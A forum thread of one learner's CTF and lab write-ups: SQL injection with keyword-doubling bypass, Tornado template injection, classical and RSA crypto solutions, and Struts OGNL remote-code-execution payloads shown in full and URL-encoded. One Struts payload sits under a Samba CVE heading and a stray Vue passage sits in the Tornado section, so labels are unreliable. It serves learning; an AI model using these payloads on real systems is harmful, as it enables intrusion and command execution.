安全矩阵

 找回密码
 立即注册
搜索
楼主: sandalwood

马鹏雲的学习日记

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-27 21:20:29 | 显示全部楼层
#### [极客大挑战 2019]BabySQL

双写绕过即可

- 查询数据库:username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

可得:Your password is 'information_schema,mysql,performance_schema,test,ctf,geek'

- 查询数据表:username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

可得:Your password is 'b4bsql,geekuser'

- 查询列名:username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#

可得:Your password is 'id,username,password'

- 查询字段名:username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#

可得:Your password is  'i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{2246b6e1-7e58-4b1d-859c-38768e05094c}'

#### [护网杯 2018]easy_tornado

点进去后是有三个文件,

![img](https:////upload-images.jianshu.io/upload_images/18308497-309ea7be9bf7d4c3.png?imageMogr2/auto-orient/strip|imageView2/2/w/380)

/flag.txt

url: *.*.*.*/file?filename=/flag.txt&filehash=9f745247e9a50c19f78380013e086deb

![img](https:////upload-images.jianshu.io/upload_images/18308497-d666d59a1f454d1c.png?imageMogr2/auto-orient/strip|imageView2/2/w/367)

/welcome.txt

url:*.*.*.*/file?filename=/welcome.txt&filehash=1123ed7148dd6878570aa044ed6a7bf3

![img](https:////upload-images.jianshu.io/upload_images/18308497-8a81bc115147ae2c.png?imageMogr2/auto-orient/strip|imageView2/2/w/231)

/hints.txt

url:*.*.*.*/file?filename=/hints.txt&filehash=ea4225e48f839391f5fd52eeeb6e7155

![img](https:////upload-images.jianshu.io/upload_images/18308497-8eaae2d66d0e7d55.png?imageMogr2/auto-orient/strip|imageView2/2/w/578)

---

听说render函数也有什么特殊的利用方式:

1. render方法的实质就是生成template模板;

2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的;

3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容

4. 通过这三个参数,可以生成一个完整的木模板

备注:

1. render方法可以使用JSX语法,但需要Babel plugin插件;
2. render方法里的第三个参数可以使用函数来生成多个组件(特别是如果他们相同的话),只要生成结果是一个数组,且数组元素都是VNode即可;

注意:
render函数室友限制的,Vue.js 2.X支持,但是1.X无法使用。

---

在flag.txt中我们知道flag在名字为/fllllllllllllag的文件里面,仿照url格式,我们还需要知道filehash值,filehash是一个md5后的值,联想第三个界面

md5(cookie_secret+md5(filename)),我们还需要知道cookie_secret

在百度上搜cookie_secret出来的都是与python以及tornado相关的资料:

[Tornado](https://baike.baidu.com/item/Tornado)是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

*.*.*.*/error?msg={{handler.settings}}

![img](https:////upload-images.jianshu.io/upload_images/18308497-6149c2a63245a8c2.png?imageMogr2/auto-orient/strip|imageView2/2/w/1200)

接下来简单的python脚本就可以了

import hashlib

def md5(s):

md5 = hashlib.md5()

md5.update(s.encode("utf8"))

return md5.hexdigest()



def filehash():

filename = '/fllllllllllllag'

cookie_secret = '89578fcb715af04268011d343e569dcc'

print(md5(cookie_secret+md5(filename)))



if __name__ == '__main__':

filehash()



构造payload:/file?filename=/fllllllllllllag&filehash=(上述python脚本得到的结果)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-9-29 22:46:24 | 显示全部楼层
今天尝试了一些CTF的密码学:
#### md5

[md5在线解密破解,md5解密加密 (cmd5.com)](https://cmd5.com/)

> md5的三个特征:
>
> 确定性:一个原始数据的MD5值是唯一的,同一个原始数据不可能会计算出多个不同的MD5值。
> 碰撞性:原始数据与其MD5值并不是一一对应的,有可能多个原始数据计算出来的MD5值是一样的,这就是碰撞。
> 不可逆:也就是说如果告诉你一个MD5值,你是无法通过它还原出它的原始数据的,这不是你的技术不够牛,这是由它的算法所决定的。因为根据第4点,一个给定的MD5值是可能对应多个原始数据的,并且理论上讲是可以对应无限多个原始数据,所有无法确定到底是由哪个原始数据产生的。

#### base64

[BASE64加密解密 (supfree.net)](https://base64.supfree.net/)

特征:

> 1.标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;
> 2.base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);
> 3.等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加\0凑齐3n位。为了正确还原,添加了几个\0就加上几个等号。显然添加等号的数目只能是0、1或2;
> 4.严格来说base64不能算是一种加密,只能说是编码转换。使用base64的初衷。是为了方便把含有不可见字符串的信息用可见字符串表示出来,以便复制粘贴;

#### URL

[UrlEncode编码/UrlDecode解码 - 站长工具 (chinaz.com)](http://tool.chinaz.com/tools/url ... -to=pcqq.discussion)

#### Caesar cipher(凯撒密码)

[凯撒密码在线加密解密 - 千千秀字 (qqxiuzi.cn)](https://www.qqxiuzi.cn/bianma/kaisamima.php)

#### Morse code (摩斯密码)

[莫斯密码(摩斯密码)转换器…………Twinsen Liang.](http://www.twinsenliang.net/skill/20070702.html)

#### 变异凯撒

> 题目:
>
> ​        加密密文:afZ_r9VYfScOeO_UL^RWUc
> ​        格式:flag{ }

凯撒加密与移动位数相关,那么变异可能就变在移动上了。而密文中有“_”,这个符号在字母表中是没有的,所以想到,可能是ASCII码值得变动。

发现 a:97  f:102  Z:106   _:95                                                              

而      c:99  t:116   f:102   {:123

​        f:102  l:108  a:97   g:103

a→f: 移动了5  f→l:移动了6, 后面依次移动了7、8。此时按照这种移动规律,去写代码:

```
#include<stdio.h>
int main()
{
int i;
char a[30]=“afZ_r9VYfScOeO_UL^RWUc”;//密文
for(i=0;a;i++)
{
a=a+i+5;
printf("%c",a);//解密后的字符
}
return 0;
}


```

## Quoted-printable

[网络管理员在线工具 - Quoted-Printable (mxcz.net)](http://www.mxcz.net/tools/quotedprintable.aspx)

这种编码常用与邮件处理,只能对汉字进行编码,特征是=加两个大写字母或数字组合

## Rabbit

[Rabbit加密-Rabbit解密-在线Rabbit加密解密工具 (jsons.cn)](http://www.jsons.cn/rabbitencrypt/)

#### 栅栏密码

[栅栏密码在线加密解密 - 千千秀字 (qqxiuzi.cn)](https://www.qqxiuzi.cn/bianma/zhalanmima.php)

栅栏密码是一种简单的移动字符位置的加密方法,规则简单,容易破解。栅栏密码的加密方式:把文本按照一定的字数分成多个组,取每组第一个字连起来得到密文1,再取每组第二个字连起来得到密文2……最后把密文1、密文2……连成整段密文。
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-1 21:15:05 | 显示全部楼层
## rsarsa

> RSA算法的具体描述如下: [5]
>
> (1)任意选取两个不同的大素数p和q计算乘积
>
> ![img](https://bkimg.cdn.bcebos.com/for ... 87832b62709895c.svg)
>
> [5] ;
>
> (2)任意选取一个大整数e,满足
>
> ![img](https://bkimg.cdn.bcebos.com/for ... 51d82f0ee202a36.svg)
>
>  ,整数e用做加密钥(注意:e的选取是很容易的,例如,所有大于p和q的素数都可用) [5] ;
>
> (3)确定的解密钥d,满足
>
> ![img](https://bkimg.cdn.bcebos.com/for ... 779394d64011776.svg)
>
>  ,即
>
> ![img](https://bkimg.cdn.bcebos.com/for ... db0e3c619f96058.svg)
>
>  是一个任意的整数;所以,若知道e和
>
> ![img](https://bkimg.cdn.bcebos.com/for ... 0aa4cfcb4218742.svg)
>
> ,则很容易计算出d [5] ;
>
> (4)公开整数n和e,秘密保存d [5] ;
>
> (5)将明文m(m<n是一个整数)加密成密文c,加密算法为 [5]
>
> ![img](https://bkimg.cdn.bcebos.com/for ... e9e3f5cdf347706.svg)
>
> (6)将密文c解密为明文m,解密算法为 [5]
>
> ![img](https://bkimg.cdn.bcebos.com/for ... 23855d88ec4c67f.svg)
>
> 然而只根据n和e(注意:不是p和q)要计算出d是不可能的。因此,任何人都可对明文进行加密,但只有授权用户(知道d)才可对密文解密 [5] 。

Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm.

p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

Use RSA to find the secret message

```
import math
p=9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q=11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e=65537
c=83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
n=p*q
fn=long((p-1)*(q-1))

i = 1
while(True):
    x=(i*fn)+1
    if(x%e==0):
        d=x/e
        break
    i=i+1
print pow(c,d,n)
```

#### 大帝的密码武器

> 公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。
> 以下密文被解开后可以获得一个有意义的单词:FRPHEVGL
> 你可以用这个相同的加密向量加密ComeChina,作为答案进行提交。

罗马三巨头:

​                前三头同盟:凯撒、庞培、克拉苏

​                后三头同盟:马克·安东尼、屋大维、雷必达

所以这道题应该是凯撒密码

因为是大写字母,可能不太好认,所以转化为小写的字母,当偏移量为13时,解码后得到的为security,所以将明文ComeChina以偏移量为13加密

#### Windows系统密码

> Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
> ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
> Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
> SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::

因为之前在cobaltstrike中知道Windows的系统密码是用md5的方式进行加密的

所以直接对题目中的密码进行md5的方法解密(注意后面三个:不是密码内容)(密码内容在最后三个:到前一个:之间的内容)

其中两个是空密码,一个解不出来,一个是good-luck

那答案应该就是good-luck

#### 信息化时代的步伐

中文电码:http://code.mcdvisa.com/

密文:606046152623600817831216121621196386

由于可能是因为结果是要有中文汉字,所以看网上说的是中文电码,在网站上经过翻译之后确实的对的:计算机要从娃娃抓起

#### 传统知识+古典密码

> **古典加密,以字符为基本加密单元的密码**
>  加密方法:
>  ①置换密码(又称易位密码):明文的字母保持相同,但顺序被打乱了。
>  代表:**栅栏加密**
>
> ②代替密码:就是将明文的字符替换为密文中的另一种的字符,接收者只要对密文做反向替换就可以恢复出明文。
>  代表:**恺撒加密**

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L01pa2VDb2tl,size_16,color_FFFFFF,t_70)

用对应的数字+60,找到对应的ASCII表的字符:XZSDMFLZ

先用栅栏解密

```
list = [28,30,23,8,17,10,16,30]
i=0
while i<len(list):
    list+=60
    i+=1
s=""
i=0
while i<len(list):
    s+=chr(list)
    i+=1
print s
#s='abcdefgh'
fac = [x for x in range(1,len(s))]
i=1
print fac
for j in range(len(fac)):
    str1=''
    for i in range(fac[j]):
        k=0
        while i+k<len(s):
            str1+=s[i+k]
            k+=fac[j]
    print str1
```

再用凯撒密码的解法进行解码(偏移量为4)

```
i=0
s=input("Input the string:")
s.upper()
for j in range(25):
    str1=''
    for i in range(len(s)):
        str1+=chr((ord(s)-64+j)%26+64)
    print str1
```

#### 凯撒?替换?呵呵!

题目:MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO} 注意:得到的 flag 请包上 flag{} 提交, flag{小写字母}

发现了一个比较好的用来解凯撒密码的网站:https://quipqiup.com/

#### RSA1

```
import gmpy2 as gp

p = gp.mpz(8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 )
q = gp.mpz(12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 )
dp = gp.mpz(6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 )
dq = gp.mpz(783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 )
c = gp.mpz(24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852)

n = p*q
phin = (p-1)*(q-1)
dd = gp.gcd(p-1, q-1)
d=(dp-dq)//dd * gp.invert((q-1)//dd, (p-1)//dd) * (q-1) +dq
print(d)

m = gp.powmod(c, d, n)
print('-------------------')
print(m)
print(hex(m)[2:])
```

将6e6f784354467b57333163306d335f37305f4368316e343730776e7d十六进制转一下得到noxCTF{W31c0m3_70_Ch1n470wn}
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-2 15:29:33 | 显示全部楼层
#### 萌萌哒的八戒

猪圈密码:http://www.hiencode.com/pigpen.html

![image-20211002095621414](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211002095621414.png)

题目就是这个图,后来我才知道这叫猪圈密码。。。。

#### 权限获得第一步

题目:

> Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::

直接用md5解码F4AD50F57683D4260DFD48AA351A17A8即可

#### old-fashion

> Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

直接用这个网站:https://quipqiup.com/

![image-20211002102034016](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211002102034016.png)

#### 世上无难事

> 以下是某国现任总统外发的一段指令,经过一种奇异的加密方式,毫无规律,看来只能分析了。请将这段语句还原成通顺语句,并从中找到key作为答案提交,答案是32位,包含小写字母。 注意:得到的 flag 请包上 flag{} 提交

> VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

还是用这个网站就行:https://quipqiup.com/

但是记得把大写转成小写:https://www.bejson.com/convert/uplowercase/

#### RSA3

> 得到 c1,e1,c2,e2,n
> 由此可得
> c1=me1%n
> c2=me2%n
> 又因为gcd(e1,e2)=1
> 所以 e1s1+e2s2=1 肯定能找到一组解.
> 结论为 m=(c1s1 c2s2)%n=[(c1s1%n)(c2s2%n)]%n
> 证明如下
> (c1s1 *c2s2)%n=[(me1%n)s1 (me2%n)s2]%n=((me1%n)s1 %n(me2%n)s2 %n)%n=(me1*s1 %n *me2*s2 %n)%n=me1*s1+e2*s2 %n=m%n=m

```
import  gmpy2
import  binascii
import  rsa
import math
from Crypto.Util import number
def exgcd(m, n, x, y):
    if n == 0:
        x = 1
        y = 0
        return (m, x, y)
    a1 = b = 1
    a = b1 = 0
    c = m
    d = n
    q = int(c / d)
    r = c % d
    while r:
        c = d
        d = r
        t = a1
        a1 = a
        a = t - q * a
        t = b1
        b1 = b
        b = t - q * b
        q = int(c / d)
        r = c % d
    x = a
    y = b
    return (d, x, y)#扩展欧几里得算法
c1=22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
c2=18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e1=11187289
e2=9647291
n=22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
ans=exgcd(e1,e2,0,0)
s1=ans[1]
s2=ans[2]
m=(gmpy2.powmod(c1,s1,n)*gmpy2.powmod(c2,s2,n))%n#powmod()函数真香,分数取模也可直接算,一开始不知道还去找了很多的算法知识
print(number.long_to_bytes(m))
```

#### Unencode

Uuencode编码转换https://www.qqxiuzi.cn/bianma/uuencode.php

> 89FQA9WMD<V1A<V1S83DY.#<W3$Q,2TM]

直接就是Unencode加密方式
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-19 22:21:16 | 显示全部楼层
### **Ranger 远程代码执行漏洞(CVE-2018-11776)**

影响版本



Struts <= Struts 2.3.34, Struts 2.5.16



打开后发现什么也没有:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25E7.tmp.jpg)

在URL后面添加/struts2-showcase/,得到如下回显:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25E8.tmp.jpg)

在URL中IP地址后面的替换为/struts2-showcase/$%7B233*233%7D/actionChain1.action,打开burpsuite抓包:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25E9.tmp.jpg)

将其发送到repeater模块中,点击go,得到了233*233的值:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25F9.tmp.jpg)

构造poc代码:

/struts2-showcase/$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%20/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

用burpsuite抓包:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25FA.tmp.jpg)

将其发送到repeater模块中,点击go,得到flag:

flag-{bmhf9308b9e-0946-4972-b9fc-971340c4d85c}

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25FB.tmp.jpg)





## **Samba 远程命令执行(CVE-2017-7494)**

影响访问



Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。



这一关打开是这样的:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25FC.tmp.jpg)

选择Integration中的Struts 1 Integration:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps25FD.tmp.jpg)

在Gangster Name处输入${1+1},Gangster Age和Gangster Description处随意填写:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps260E.tmp.jpg)

点击submit,得到如下页面,发现成功运行出了1+1的结果,这就证明有漏洞存在:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps260F.tmp.jpg)

重新访问/integration/editGangster.action页面,进行burp抓包。



构造payload:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new [java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}](mailto:java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())})

记得要将payload进行URL编码:

%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%69%64%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d

点击go后,得到如下信息:
![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps2610.tmp.jpg)

于是将payload修改为:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

执行ls命令:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps2611.tmp.jpg)

得到了flag:flag-{bmhd130ffd7-55ad-4e78-a73b-407d9a6796f0}

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-19 22:22:34 | 显示全部楼层
### **ElasticSearch命令执行漏洞(CVE-2014-3120)**

影响版本



Elasticsearch < 1.2



打开这一关是这样的:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps53C4.tmp.jpg)

打开burpsuite,刷新页面后,将得到的数据包发送到repeater模块中,并将数据包中全部修改为:

POST /website/blog/ HTTP/1.1Host: 118.193.36.37:33967User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 26 { "name": "vulfocus"}

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps53C5.tmp.jpg)

点击go,在response中得到如下信息(有点像将数据序列化之后的结果):

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps53C6.tmp.jpg)

再将request栏中的数据包修改为:

